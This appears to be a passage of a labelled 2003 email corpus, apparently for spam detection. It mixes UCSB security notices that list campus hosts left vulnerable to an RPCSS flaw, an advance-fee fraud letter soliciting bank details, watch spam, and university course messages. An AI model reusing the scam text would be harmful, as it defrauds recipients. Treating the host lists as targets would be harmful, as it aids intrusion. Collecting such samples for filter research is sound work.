Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.179 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.144 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 66 RPCSS Vulnerable ............................. 89 DCOM Disabled ................................ 68 Not Vulnerable ............................... 2416 Errors ....................................... 31 TCP Port 135 Closed or Host Timeout .......... 62932 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Hawaii International Conference on Statistics ,Hawaii International Conferences ,"Wed, 01 Oct 2003 08:06:37 -1000","Call for Papers - Hawaii International Conference on Statistics, Mathematics and Related Fields","Call for Papers/Abstracts/Submissions Hawaii International Conference on Statistics, Mathematics and Related Fields June 9 - 12, 2004 Sheraton Waikiki Hotel, Honolulu Hawaii, USA Submission Deadline: January 21, 2004 Sponsored by: East West Council for Education Center of Asian Pacific Studies of Peking University Web address: XXXX://www.hicstatistics.org Email address: statistics@hicstatistics.org The 2004 Hawaii International Conference on Statistics, Mathematics and Related Fields will be held from June 9 (Wednesday) to June 12 (Saturday), 2004 at the Sheraton Waikiki Hotel in Honolulu, Hawaii. The conference will provide many opportunities for academicians and professionals from statistics and/or mathematics related fields to interact with members inside and outside their own particular disciplines. Cross-disciplinary submissions with other fields are welcome. Topic Areas (All Areas of Statistics and/or Mathematics are Invited): Statistics Topics: Agricultural Statistics, Applied Statistics, Bayesian Statistics, Biostatistics, Business Statistics, Computational Statistics, Computer Simulations, Econometrics, Educational Statistics, Environmental Statistics, Epidemiology, Industrial Statistics, Management Science, Mathematical Statistics, Medical Statistics, Non-Parametric Statistics, Operations Research, Probability, Psychological Measurement, Quantitative Methods, Statistical Modeling, Statistics Education, Cross-disciplinary areas of Statistics, Other Areas of Statistics. Mathematics Topics: Algebra, Applied Mathematics, Calculus, Computational Mathematics, Discrete Mathematics, Foundations of Mathematics, Financial Mathematics, Finite Mathematics, Fractals, Geometry, History of Mathematics, Logic, Mathematics Education, Number Analysis, Number Theory, Pre-Algebra, Pre-Calculus, Probability, Topology, Cross-disciplinary areas of Mathematics, Other Areas of Mathematics. The Hawaii International Conference on Statistics, Mathematics and Related Fields encourages the following types of papers/abstracts/submissions for any of the listed areas: Research Papers - Completed papers. Abstracts - Abstracts of completed or proposed research. Student Papers - Research by students. Work-in-Progress Reports or Proposals for future projects. Reports on issues related to teaching. For more information about submissions see: XXXX://www.hicstatistics.org/cfp_stats.htm Format of Presentations: -Paper sessions will have three to four papers presented in each 90 minute session, giving each presenter 20 – 30 minutes. -Workshop presentations will be given a full 90 minute session. -Panel sessions will provide an opportunity for three or more presenters to speak in a more open and conversational setting with conference attendees. Submissions for these 90 minute sessions should include the name, department, affiliation, and email address of each panelist in addition to a description of the presentation and the title page. -Poster sessions will last 90 minutes and consist of a large number of presenters. Poster sessions allow attendees to speak with the presenters on a one-to-one basis. Submitting a Proposal: 1. Create a title page for your submission. The title page should include: a. title of the submission b. topic area of the submission (chooses from above list) c. presentation format (choose from above list) d. name(s) of the author(s) e. department(s) and affiliation(s) f. mailing address(es) g. e-mail address(es) h. phone number(s) i. fax number(s) j. corresponding author if different than lead author 2. Email your abstract and/or paper, along with a title page, to statistics@hicstatistics.org Receipt of submissions will be acknowledged via email within 48 hours. If you do not wish to email your submission, you may send it via regular mail or fax to: Hawaii International Conference on Statistics, Mathematics and Related Fields P.O. Box 75023 Honolulu, HI, 96836, USA 808-947-2420 (Fax) ***If submitting via regular mail or fax, please supply two copies of your submission*** There is a limit of two contributed submissions per lead author. 3. Submissions will only be published in the conference proceedings if at least one of the authors registers and attends the conference. More information will be provided upon acceptance. 4. If you wish to be a session chair, please e-mail your request to statistics@hicstatistics.org and indicate the topic area in which you are interested. Registration for the conference is required to be a session chair. To be removed from this list, please reply to this e-mail with the word ""Remove"" in the subject heading. Hawaii International Conference on Statistics, Mathematics and Related Fields P.O. Box 75023 Honolulu, HI 96836 USA Telephone: (808) 946-9927 Fax: (808) 947-2420 E-mail: statistics@hicstatistics.org Website: www.hicstatistics.org ",0,0 jek jire ,XXX@XXXXXXXX.XXXXXXX.XXX,"Thu, 02 Oct 2003 16:50:59 +0100",URGENT AND CONFIDENTIAL," From,Dr.jekjire. No 21/22 Jan Smith Street -Johannesburg South Africa. Satelite phone no. 882-16466852 {URGENT AND CONFIDENTIAL} (RE: TRANSFER OF ($ 126,000.000.00 USD} {ONE HUNDRED AND TWENTY SIX MILLION DOLLARS) Dear sir, We want to transfer to overseas ($ 126,000.000.00USD) One hundred and Twenty six million United States Dollars) from a Bank in Africa, I want to ask you to quietly look for a reliable and honest person who will be capable and fit to provide either an existing bank account or to set up a new Bank a/c immediately to receive this money, even an empty a/c can serve to receive this money, as long as you will remain honest to me till the end of this important business trusting in you and believing in God that you will never let me down either now or in future. I am Dr William Mark,the Auditor General of a bank in Africa, during the course of our auditing I discovered a floating fund in an account opened in the bank in 1990 and since 1993 nobody has operated on this account again, after going through some old files in the records, I discovered that the owner of the account died without a [heir] hence the money is floating and if I do not remit this money out urgently it will be forfeited for nothing. The owner of this account is Mr. Frankline Sullivan, a foreigner, and a sailor, he died, since 1993. And no other person knows about this account or anything concerning it, the account has no other beneficiary and my investigation proved to me as well that Frankline Sullivan until his death was the manager Frankline Coy.(pty). SA. We will start the first transfer with Twenty six million [$26,000.000] upon successful transaction without any disappoint from your side, we shall re-apply for the payment of the remaining rest amount to your account. The amount involved is (USD 126M) One hundred and Twenty Six million United States Dollars, only I want to first transfer $26,000.000 [Twenty Six million United States Dollar] from this money into a safe foreigners account abroad before the rest, but I don't know any foreigner, I am only contacting you as a foreigner because this money can not be approved to a local person here, without valid international foreign passport, but can only be approved to any foreigner with valid international passport or drivers license and foreign a/c because the money is in us dollars and the former owner of the a/c Mr. Frankline Sullivan is a foreigner too, [and the money can only be approved into a foreign [a/c]. However, we will sign a binding agreement, to bind us together. I got your contact address from the Girl who operates computer, I am revealing this to you with believe in God that you will never let me down in this business, you are the first and the only person that I am contacting for this business, so pleas reply urgently so that I will inform you the next step to take urgently. Send also your private telephone and fax number including the full details of the account to be used for the deposit. I want us to meet face to face to build confidence and to sign a binding agreement that will bind us together before transferring the money to any account of your choice where the fund will be safe. Before we fly to your country for withdrawal, sharing and investments. I need your full co-operation to make this work fine. Because the management is ready to approve this payment to any foreigner who has correct information of this account, which I will give to you, upon your positive response and once I am convinced that you are capable and will meet up with instruction of a key bank official who is deeply involved with me in this business. I need your strong assurance that you will never,never let me down. With my influence and the position of the bank official we can transfer this money to any foreigner's reliable account which you can provide with assurance that this money will be intact pending our physical arrival in your country for sharing. The bank official will destroy all documents of transaction immediately we receive this money leaving no trace to any place and to build confidence, you can come immediately to discuss with me face to face after which I will make this remittance in your presence and three of us will fly to your country at least two days ahead of the money going into the account. I will apply for annual leave to get visa immediately I hear from you that you are ready to act and receive this fund in your account. I will use my position and influence to obtain all legal approvals for onward transfer of this money to your account with appropriate clearance from the relevant ministries and foreign exchange departments. At the conclusion of this business, you will be given 35% of the total amount, 60% will be for me, while 5% will be for expenses both parties might have incurred during the process of transferring. I look forward to your earliest reply through this email. You should try to call me on my satelite phone no. 882-1646685262. If you are calling my No. dial the way you use to call other NOS. Sincerely, Dr.jek. ________________________________________________________________________ Want to chat instantly with your online friends? Get the FREE Yahoo! Messenger http://mail.messenger.yahoo.co.uk ",1,1 Marc Cahill ,sybil@cs.utexas.edu,"Sat, 04 Oct 2003 20:59:11 -0300",Chicks love wealthy guys ," Visit our Online Store: http://051.earholesone.com FOR * Geniune Swiss Replicas * Wholesale Prices (Save upto 200%) * Same Day Shipping (World Wide) * His & Hers Watches * 25% Discount off our normal price of $245.99 * Best Seller Gift Watches * Watches with ""Bling""! A limited time offer Buy 2 or more watches from ANY category or brands and save 25% on all watch. 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But the gist of it is that you and your partner actually sit together and program together (as opposed to dividing up the tasks between you and going off and implementing them separately). This approach has shown repeatedly to produce better quality code (and faster) than the partitioned approach in which each team member does their own piece. The key for the pair programming is a compatible schedule between the two team members. You should be able to identify at minimum 10 hours per week in which you could meet and work together. When you sign up with your partner, I want to know what 10 hours those will be (ie. Mondays 4-6pm, Wednesday 1-3pm, etc.). I will not hold you to meeting at those times every week, but I do want to ensure that you do not have insurmountable scheduling conflicts. Be prepared to sign up with a partner and please discuss your schedule in advance. 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Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <246540000.1065564214@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1A6zve-0007nD-0j*Ppqpvt3xBkQ* Hello, These lists are being periodically sent out due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, as well as those that are vulnerable according to a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.19.32 tau.physics.ucsb.edu 128.111.20.208 dhcp20-208.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.29.55 camp.engr.ucsb.edu 128.111.29.157 poseidon.ece.ucsb.edu 128.111.29.159 roscoe2.ece.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.44.150 128.111.56.173 dhcp56-173.ece.ucsb.edu 128.111.57.16 pilon.ece.ucsb.edu 128.111.57.29 vishi.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.247 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.135 adder.chemengr.ucsb.edu 128.111.82.215 theofan.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.92.216 128.111.96.40 coll02.alexandria.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.110.64 zo.bren.ucsb.edu 128.111.111.82 sacagawea.bren.ucsb.edu 128.111.124.71 isc124-71.isc.ucsb.edu 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.96 DFXL8421.materials.ucsb.edu 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.206.72 128.111.207.81 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.220 128.111.234.43 ppp3.ncgia.ucsb.edu 128.111.234.55 erebus.ncgia.ucsb.edu 128.111.234.85 vital5.geog.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.236.73 dhcp-73.crustal.ucsb.edu 128.111.247.62 128.111.247.63 *** Unpatched hosts *** 128.111.9.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.27.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.117 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.189 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.190 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.191 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.30.216 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.31.95 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.32.15 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.55 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.31 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.254 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.246 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.148 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.38.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.238 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.208 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.70.53 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.110 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.73.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.87 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.74 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.111 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.62 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.75 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.217 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.16 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.180 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.103.24 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.55 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.174 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.106.6 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.106.63 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.109.160 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.236 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.112.137 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.46 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.182 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.193 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.231 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.133 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.118 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.226 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.229 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.193.248 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.117 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.196.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.71 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.104 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.205.141 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.219.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.226.31 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.226.116 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.227.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.175 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.201 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 67 RPCSS Vulnerable ............................. 142 DCOM Disabled ................................ 68 Not Vulnerable ............................... 3459 Errors ....................................... 11 TCP Port 135 Closed or Host Timeout .......... 61747 TOTAL HOSTS SCANNED .......................... 65428 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Tue, 07 Oct 2003 16:08:31 -0500",extra office hours tomorrow,"Hey CS352hers - There were a couple of people that came to office hours today that I wasn't able to help in the time allotted. I will hold extra office hours tomorrow from 1:45-2:15 to help answer questions on the exam and hw2 grading. Make sure you compare hw2 and your exam to solution sets of both before office hours. I will be in Painter 5.36B as always. Thanks, Jenn Sartor CS352H TA jbsartor@cs.utexas.edu ",0,0 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 07 Oct 2003 19:07:04 -0500",Verilog," CS352h-ers, On Thursday I will be going over principles and practive of hardware description languages - along with some examples. The verilog tutorial (some of which you have seen before) is up on the course web site, on the handouts page. I'd like you all to skim over the info in the tuturial and in the verilog introduction (large packet) that I handed out in class today. Take a brief look at this before Thursday so that we will all be on the same page and so you can ask intelligent questions. If you did not get a copy of the verilog introduction (large packet), you can pick it up tomorrow from my assistant Gem in ACES 3.422. I will have the electronic parts of HW #3 on the web site tonight. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 """Medications T. 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Thanks, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Wed, 08 Oct 2003 13:05:26 -0500",Re: extra office hours tomorrow,"CS352hers - I am very sorry to do this, but I am going to have to cancel my extra office hours today. I am not feeling well, and my meeting moved times without my control. I apologize and will hold office hours next week, and can answer grading questions then. Thank you, Jenn Sartor CS352h TA On Tue, 7 Oct 2003, Jennifer B. Sartor wrote: > Hey CS352hers - > > There were a couple of people that came to office hours today that I > wasn't able to help in the time allotted. I will hold extra office hours > tomorrow from 1:45-2:15 to help answer questions on the exam and hw2 > grading. Make sure you compare hw2 and your exam to solution sets of both > before office hours. I will be in Painter 5.36B as always. > > Thanks, > Jenn Sartor > CS352H TA > jbsartor@cs.utexas.edu > > ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA00867 for ; Wed, 8 Oct 2003 13:49:21 -0700 (PDT) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA24564 for ; Wed, 8 Oct 2003 13:49:20 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1A7Kwk-000HWC-A9; Wed, 08 Oct 2003 13:30:10 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1A7Kwg-000HW0-Kk; Wed, 08 Oct 2003 13:30:06 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 1A7Kwg-000HVw-Et; Wed, 08 Oct 2003 13:30:06 -0700 Date: Wed, 08 Oct 2003 13:30:06 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: 